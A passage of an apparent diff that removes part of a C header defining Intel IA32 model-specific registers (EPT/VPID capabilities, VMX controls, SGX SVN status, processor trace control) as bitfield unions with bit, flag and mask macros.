(IA32_VMX_PROCBASED_CTLS2[33] || - * IA32_VMX_PROCBASED_CTLS2[37]) ) - * @see Vol3D[A.10(VPID AND EPT CAPABILITIES)] - * @see Vol3D[A.10(VPID and EPT Capabilities)] (reference) - */ -#define IA32_VMX_EPT_VPID_CAP 0x0000048C -typedef union -{ - struct - { - /** - * [Bit 0] When set to 1, the processor supports execute-only translations by EPT. This support allows software to - * configure EPT paging-structure entries in which bits 1:0 are clear (indicating that data accesses are not allowed) and - * bit 2 is set (indicating that instruction fetches are allowed). - */ - uint64_t execute_only_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_BIT 0 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_FLAG 0x01 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 6] Indicates support for a page-walk length of 4. - */ - uint64_t page_walk_length_4 : 1; -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_BIT 6 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_FLAG 0x40 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4(_) (((_) >> 6) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 8] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be - * uncacheable (UC). - * - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP))] - */ - uint64_t memory_type_uncacheable : 1; -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_BIT 8 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_FLAG 0x100 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE(_) (((_) >> 8) & 0x01) - uint64_t reserved3 : 5; - - /** - * [Bit 14] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be - * write-back (WB). - */ - uint64_t memory_type_write_back : 1; -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_BIT 14 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_FLAG 0x4000 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK(_) (((_) >> 14) & 0x01) - uint64_t reserved4 : 1; - - /** - * [Bit 16] When set to 1, the logical processor allows software to configure a EPT PDE to map a 2-Mbyte page (by setting - * bit 7 in the EPT PDE). - */ - uint64_t pde_2mb_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_BIT 16 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_FLAG 0x10000 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] When set to 1, the logical processor allows software to configure a EPT PDPTE to map a 1-Gbyte page (by setting - * bit 7 in the EPT PDPTE). - */ - uint64_t pdpte_1gb_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_BIT 17 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_FLAG 0x20000 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES(_) (((_) >> 17) & 0x01) - uint64_t reserved5 : 2; - - /** - * [Bit 20] If bit 20 is read as 1, the INVEPT instruction is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_BIT 20 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_FLAG 0x100000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] When set to 1, accessed and dirty flags for EPT are supported. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t ept_accessed_and_dirty_flags : 1; -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_BIT 21 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_FLAG 0x200000 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS(_) (((_) >> 21) & 0x01) - - /** - * [Bit 22] When set to 1, the processor reports advanced VM-exit information for EPT violations. This reporting is done - * only if this bit is read as 1. - * - * @see Vol3C[27.2.1(Basic VM-Exit Information)] - */ - uint64_t advanced_vmexit_ept_violations_information : 1; -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_BIT 22 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_FLAG 0x400000 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION(_) (((_) >> 22) & 0x01) - uint64_t reserved6 : 2; - - /** - * [Bit 25] When set to 1, the single-context INVEPT type is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept_single_context : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_BIT 25 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_FLAG 0x2000000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT(_) (((_) >> 25) & 0x01) - - /** - * [Bit 26] When set to 1, the all-context INVEPT type is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept_all_contexts : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_BIT 26 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_FLAG 0x4000000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS(_) (((_) >> 26) & 0x01) - uint64_t reserved7 : 5; - - /** - * [Bit 32] When set to 1, the INVVPID instruction is supported. - */ - uint64_t invvpid : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_BIT 32 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_FLAG 0x100000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID(_) (((_) >> 32) & 0x01) - uint64_t reserved8 : 7; - - /** - * [Bit 40] When set to 1, the individual-address INVVPID type is supported. - */ - uint64_t invvpid_individual_address : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_BIT 40 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_FLAG 0x10000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS(_) (((_) >> 40) & 0x01) - - /** - * [Bit 41] When set to 1, the single-context INVVPID type is supported. - */ - uint64_t invvpid_single_context : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_BIT 41 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_FLAG 0x20000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT(_) (((_) >> 41) & 0x01) - - /** - * [Bit 42] When set to 1, the all-context INVVPID type is supported. - */ - uint64_t invvpid_all_contexts : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_BIT 42 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_FLAG 0x40000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS(_) (((_) >> 42) & 0x01) - - /** - * [Bit 43] When set to 1, the single-context-retaining-globals INVVPID type is supported. - */ - uint64_t invvpid_single_context_retain_globals : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_BIT 43 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_FLAG 0x80000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS(_) (((_) >> 43) & 0x01) - uint64_t reserved9 : 20; - }; - - uint64_t flags; -} ia32_vmx_ept_vpid_cap_register; - -/** - * @defgroup ia32_vmx_true_ctls \ - * IA32_VMX_TRUE_(x)_CTLS - * - * Capability Reporting Register of Pin-Based VM-Execution Flex Controls, Primary Processor-Based VM-Execution Flex - * Controls, VM-Exit Flex Controls and VM-Entry Flex Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - * @see Vol3D[A.3.1(Pin-Based VMExecution Controls)] (reference) - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] (reference) - * @see Vol3D[A.4(VM-Exit Controls)] (reference) - * @see Vol3D[A.5(VM-Entry Controls)] (reference) - * @{ - */ -#define IA32_VMX_TRUE_PINBASED_CTLS 0x0000048D -#define IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048E -#define IA32_VMX_TRUE_EXIT_CTLS 0x0000048F -#define IA32_VMX_TRUE_ENTRY_CTLS 0x00000490 -typedef union -{ - struct - { - /** - * [Bits 31:0] Indicate the allowed 0-settings of these controls. VM entry allows control X to be 0 if bit X in the MSR is - * cleared to 0; if bit X in the MSR is set to 1, VM entry fails if control X is 0. - */ - uint64_t allowed_0_settings : 32; -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_BIT 0 -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_FLAG 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_MASK 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 63:32] Indicate the allowed 1-settings of these controls. VM entry allows control X to be 1 if bit 32+X in the MSR - * is set to 1; if bit 32+X in the MSR is cleared to 0, VM entry fails if control X is 1. - */ - uint64_t allowed_1_settings : 32; -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_BIT 32 -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_FLAG 0xFFFFFFFF00000000 -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_MASK 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_vmx_true_ctls_register; - -/** - * @} - */ - - - /** - * Capability Reporting Register of VMFunction Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) - * @see Vol3D[A.11(VM FUNCTIONS)] - * @see Vol3D[24.6.14(VM-Function Controls)] (reference) - */ -#define IA32_VMX_VMFUNC 0x00000491 -typedef union -{ - struct - { - /** - * [Bit 0] The EPTP-switching VM function changes the EPT pointer to a value chosen from the EPTP list. - * - * @see Vol3C[25.5.5.3(EPTP Switching)] - */ - uint64_t eptp_switching : 1; -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_BIT 0 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_FLAG 0x01 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_MASK 0x01 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_vmx_vmfunc_register; - -/** - * @defgroup ia32_a_pmc \ - * IA32_A_PMC(n) - * - * Full Width Writable IA32_PMC(n) Alias. - * - * @remarks (If CPUID.0AH: EAX[15:8] > 0) && IA32_PERF_CAPABILITIES[13] = 1 - * @{ - */ -#define IA32_A_PMC0 0x000004C1 -#define IA32_A_PMC1 0x000004C2 -#define IA32_A_PMC2 0x000004C3 -#define IA32_A_PMC3 0x000004C4 -#define IA32_A_PMC4 0x000004C5 -#define IA32_A_PMC5 0x000004C6 -#define IA32_A_PMC6 0x000004C7 -#define IA32_A_PMC7 0x000004C8 - /** - * @} - */ - - - /** - * Allows software to signal some MCEs to only a single logical processor in the system. - * - * @remarks If IA32_MCG_CAP.LMCE_P = 1 - * @see Vol3B[15.3.1.4(IA32_MCG_EXT_CTL MSR)] - */ -#define IA32_MCG_EXT_CTL 0x000004D0 -typedef union -{ - struct - { - uint64_t lmce_en : 1; -#define IA32_MCG_EXT_CTL_LMCE_EN_BIT 0 -#define IA32_MCG_EXT_CTL_LMCE_EN_FLAG 0x01 -#define IA32_MCG_EXT_CTL_LMCE_EN_MASK 0x01 -#define IA32_MCG_EXT_CTL_LMCE_EN(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_mcg_ext_ctl_register; - - -/** - * @brief Status and SVN Threshold of SGX Support for ACM (RO) - * - * Intel SGX only allows launching ACMs with an Intel SGX SVN that is at the same level or higher than the expected Intel - * SGX SVN. The expected Intel SGX SVN is specified by BIOS and locked down by the processor on the first successful - * execution of an Intel SGX instruction that doesn't return an error code. Intel SGX provides interfaces for system - * software to discover whether a non faulting Intel SGX instruction has been executed, and evaluate the suitability of the - * Intel SGX SVN value of any ACM that is expected to be launched by the OS or the VMM. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] (reference) - */ -#define IA32_SGX_SVN_STATUS 0x00000500 -typedef union -{ - struct - { - /** - * [Bit 0] - If 1, indicates that a non-faulting Intel SGX instruction has been executed, consequently, launching a - * properly signed ACM but with Intel SGX SVN value less than the BIOS specified Intel SGX SVN threshold would lead to an - * TXT shutdown. - * - If 0, indicates that the processor will allow a properly signed ACM to launch irrespective of the Intel SGX SVN value - * of the ACM. - * - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] - */ - uint64_t lock : 1; -#define IA32_SGX_SVN_STATUS_LOCK_BIT 0 -#define IA32_SGX_SVN_STATUS_LOCK_FLAG 0x01 -#define IA32_SGX_SVN_STATUS_LOCK_MASK 0x01 -#define IA32_SGX_SVN_STATUS_LOCK(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 15; - - /** - * @brief Reflects the expected threshold of Intel SGX SVN for the SINIT ACM - * - * [Bits 23:16] - If CPUID.01H:ECX.SMX = 1, this field reflects the expected threshold of Intel SGX SVN for the SINIT ACM. - * - If CPUID.01H:ECX.SMX = 0, this field is reserved (0). - * - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] - */ - uint64_t sgx_svn_sinit : 8; -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_BIT 16 -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_FLAG 0xFF0000 -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_MASK 0xFF -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT(_) (((_) >> 16) & 0xFF) - uint64_t reserved2 : 40; - }; - - uint64_t flags; -} ia32_sgx_svn_status_register; - - -/** - * Trace Output Base Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0): ECX[0] = 1) || - * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) - * @see Vol3C[35.2.7.7(IA32_RTIT_OUTPUT_BASE MSR)] (reference) - */ -#define IA32_RTIT_OUTPUT_BASE 0x00000560 -typedef union -{ - struct - { - uint64_t reserved1 : 7; - - /** - * @brief Base physical address - * - * [Bits 47:7] The base physical address. How this address is used depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This is the base physical address of a single, contiguous physical output region. This could be mapped to DRAM or - * to MMIO, depending on the value. The base address should be aligned with the size of the region, such that none of the - * 1s in the mask value overlap with 1s in the base address. If the base is not aligned, an operational error will result. - * - 1: The base physical address of the current ToPA table. The address must be 4K aligned. Writing an address in which - * bits 11:7 are non-zero will not cause a \#GP, but an operational error will be signaled once TraceEn is set. - * - * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] - * @see Vol3C[35.3.9(Operational Errors)] - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] - */ - uint64_t base_physical_address : 41; -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_BIT 7 -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_FLAG 0xFFFFFFFFFF80 -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_MASK 0x1FFFFFFFFFF -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS(_) (((_) >> 7) & 0x1FFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_rtit_output_base_register; - - -/** - * Trace Output Mask Pointers Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0):ECX[0] = 1) || - * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) - * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] (reference) - */ -#define IA32_RTIT_OUTPUT_MASK_PTRS 0x00000561 -typedef union -{ - struct - { - /** - * [Bits 6:0] Forced to 1, writes are ignored. - */ - uint64_t lower_mask : 7; -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_BIT 0 -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_FLAG 0x7F -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_MASK 0x7F -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK(_) (((_) >> 0) & 0x7F) - - /** - * @brief MaskOrTableOffset - * - * [Bits 31:7] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This field holds bits 31:7 of the mask value for the single, contiguous physical output region. The size of this - * field indicates that regions can be of size 128B up to 4GB. This value (combined with the lower 7 bits, which are - * reserved to 1) will be ANDed with the OutputOffset field to determine the next write address. All 1s in this field - * should be consecutive and starting at bit 7, otherwise the region will not be contiguous, and an operational error will - * be signaled when TraceEn is set. - * - 1: This field holds bits 27:3 of the offset pointer into the current ToPA table. This value can be added to the - * IA32_RTIT_OUTPUT_BASE value to produce a pointer to the current ToPA table entry, which itself is a pointer to the - * current output region. In this scenario, the lower 7 reserved bits are ignored. This field supports tables up to 256 - * MBytes in size. - * - * @see Vol3C[35.3.9(Operational Errors)] - */ - uint64_t mask_or_table_offset : 25; -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_BIT 7 -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_FLAG 0xFFFFFF80 -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_MASK 0x1FFFFFF -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET(_) (((_) >> 7) & 0x1FFFFFF) - - /** - * @brief Output Offset - * - * [Bits 63:32] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This is bits 31:0 of the offset pointer into the single, contiguous physical output region. This value will be - * added to the IA32_RTIT_OUTPUT_BASE value to form the physical address at which the next byte of packet output data will - * be written. This value must be less than or equal to the MaskOrTableOffset field, otherwise an operational error will be - * signaled when TraceEn is set. - * - 1: This field holds bits 31:0 of the offset pointer into the current ToPA output region. This value will be added to - * the output region base field, found in the current ToPA table entry, to form the physical address at which the next byte - * of trace output data will be written. This value must be less than the ToPA entry size, otherwise an operational error - * will be signaled when TraceEn is set. - * - * @see Vol3C[35.3.9(Operational Errors)] - */ - uint64_t output_offset : 32; -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_BIT 32 -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_FLAG 0xFFFFFFFF00000000 -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_MASK 0xFFFFFFFF -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_rtit_output_mask_ptrs_register; - - -/** - * Trace Control Register. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] (reference) - */ -#define IA32_RTIT_CTL 0x00000570 -typedef union -{ - struct - { - /** - * @brief TraceEn - * - * [Bit 0] If 1, enables tracing; else tracing is disabled. - * When this bit transitions from 1 to 0, all buffered packets are flushed out of internal buffers. A further store, fence, - * or architecturally serializing instruction may be required to ensure that packet data can be observed at the trace - * endpoint. - * Note that the processor will clear this bit on \#SMI (Section) and warm reset. Other MSR bits of IA32_RTIT_CTL (and - * other trace configuration MSRs) are not impacted by these events. - * - * @see Vol3C[35.2.7.3(Enabling and Disabling Packet Generation with TraceEn)] - */ - uint64_t trace_enabled : 1; -#define IA32_RTIT_CTL_TRACE_ENABLED_BIT 0 -#define IA32_RTIT_CTL_TRACE_ENABLED_FLAG 0x01 -#define IA32_RTIT_CTL_TRACE_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_TRACE_ENABLED(_) (((_) >> 0) & 0x01) - - /** - * @brief CYCEn - * - * [Bit 1] - 0: Disables CYC Packet. - * - 1: Enables CYC Packet. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.4.2.14(Cycle Count (CYC) Packet)] - */ - uint64_t cyc_enabled : 1; -#define IA32_RTIT_CTL_CYC_ENABLED_BIT 1 -#define IA32_RTIT_CTL_CYC_ENABLED_FLAG 0x02 -#define IA32_RTIT_CTL_CYC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_CYC_ENABLED(_) (((_) >> 1) & 0x01) - - /** - * @brief OS - * - * [Bit 2] - 0: Packet generation is disabled when CPL = 0. - * - 1: Packet generation may be enabled when CPL = 0. - */ - uint64_t os : 1; -#define IA32_RTIT_CTL_OS_BIT 2 -#define IA32_RTIT_CTL_OS_FLAG 0x04 -#define IA32_RTIT_CTL_OS_MASK 0x01 -#define IA32_RTIT_CTL_OS(_) (((_) >> 2) & 0x01) - - /** - * @brief User - * - * [Bit 3] - 0: Packet generation is disabled when CPL > 0. - * - 1: Packet generation may be enabled when CPL > 0. - */ - uint64_t user : 1; -#define IA32_RTIT_CTL_USER_BIT 3 -#define IA32_RTIT_CTL_USER_FLAG 0x08 -#define IA32_RTIT_CTL_USER_MASK 0x01 -#define IA32_RTIT_CTL_USER(_) (((_) >> 3) & 0x01) - - /** - * @brief PwrEvtEn - * - * [Bit 4] - 0: Power Event Trace packets are disabled. - * - 1: Power Event Trace packets are enabled. - * - * @see Vol3C[35.2.3(Power Event Tracing)] - */ - uint64_t power_event_trace_enabled : 1; -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_BIT 4 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_FLAG 0x10 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED(_) (((_) >> 4) & 0x01) - - /** - * @brief FUPonPTW - * - * [Bit 5] - 0: PTW packets are not followed by FUPs. - * - 1: PTW packets are followed by FUPs. - */ - uint64_t fup_on_ptw : 1; -#define IA32_RTIT_CTL_FUP_ON_PTW_BIT 5 -#define IA32_RTIT_CTL_FUP_ON_PTW_FLAG 0x20 -#define IA32_RTIT_CTL_FUP_ON_PTW_MASK 0x01 -#define IA32_RTIT_CTL_FUP_ON_PTW(_) (((_) >> 5) & 0x01) - - /** - * @brief FabricEn - * - * [Bit 6] - 0: Trace output is directed to the memory subsystem, mechanism depends on IA32_RTIT_CTL.ToPA. - * - 1: Trace output is directed to the trace transport subsystem, IA32_RTIT_CTL.ToPA is ignored. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):ECX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):ECX[bit 3] = 0 - */ - uint64_t fabric_enabled : 1; -#define IA32_RTIT_CTL_FABRIC_ENABLED_BIT 6 -#define IA32_RTIT_CTL_FABRIC_ENABLED_FLAG 0x40 -#define IA32_RTIT_CTL_FABRIC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_FABRIC_ENABLED(_) (((_) >> 6) & 0x01) - - /** - * @brief CR3 filter - * - * [Bit 7] - 0: Disables CR3 filtering. - * - 1: Enables CR3 filtering. - */ - uint64_t cr3_filter : 1; -#define IA32_RTIT_CTL_CR3_FILTER_BIT 7 -#define IA32_RTIT_CTL_CR3_FILTER_FLAG 0x80 -#define IA32_RTIT_CTL_CR3_FILTER_MASK 0x01 -#define IA32_RTIT_CTL_CR3_FILTER(_) (((_) >> 7) & 0x01) - - /** - * @brief ToPA - * - * [Bit 8] - 0: Single-range output scheme enabled. - * - 1: ToPA output scheme enabled. - * - * @remarks 0: If CPUID.(EAX=14H, ECX=0):ECX.SNGLRGNOUT[bit 2] = 1 and IA32_RTIT_CTL.FabricEn=0 1: If CPUID.(EAX=14H, - * ECX=0):ECX.TOPA[bit 0] = 1, and IA32_RTIT_CTL.FabricEn=0 - * WRMSR to IA32_RTIT_CTL that sets TraceEn but clears this bit and FabricEn would cause \#GP: If CPUID.(EAX=14H, - * ECX=0):ECX.SNGLRGNOUT[bit 2] = 0 WRMSR to IA32_RTIT_CTL that sets this bit causes \#GP: If CPUID.(EAX=14H, - * ECX=0):ECX.TOPA[bit 0] = 0 - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] - */ - uint64_t topa : 1; -#define IA32_RTIT_CTL_TOPA_BIT 8 -#define IA32_RTIT_CTL_TOPA_FLAG 0x100 -#define IA32_RTIT_CTL_TOPA_MASK 0x01 -#define IA32_RTIT_CTL_TOPA(_) (((_) >> 8) & 0x01) - - /** - * @brief MTCEn - * - * [Bit 9] - 0: Disables MTC Packet. - * - 1: Enables MTC Packet. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 - * @see Vol3C[35.4.2.16(Overflow (OVF) Packet)] - */ - uint64_t mtc_enabled : 1; -#define IA32_RTIT_CTL_MTC_ENABLED_BIT 9 -#define IA32_RTIT_CTL_MTC_ENABLED_FLAG 0x200 -#define IA32_RTIT_CTL_MTC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_MTC_ENABLED(_) (((_) >> 9) & 0x01) - - /** - * @brief TSCEn - * - * [Bit 10] - 0: Disable TSC packets. - * - 1: Enable TSC packets. - * - * @see Vol3C[35.4.2.11(Timestamp Counter (TSC) Packet)] - */ - uint64_t tsc_enabled : 1; -#define IA32_RTIT_CTL_TSC_ENABLED_BIT 10 -#define IA32_RTIT_CTL_TSC_ENABLED_FLAG 0x400 -#define IA32_RTIT_CTL_TSC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_TSC_ENABLED(_) (((_) >> 10) & 0x01) - - /** - * @brief DisRETC - * - * [Bit 11] - 0: Enable RET compression. - * - 1: Disable RET compression. - * - * @see Vol3C[35.2.1.2(Indirect Transfer COFI)] - */ - uint64_t ret_compression_disabled : 1; -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_BIT 11 -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_FLAG 0x800 -#define 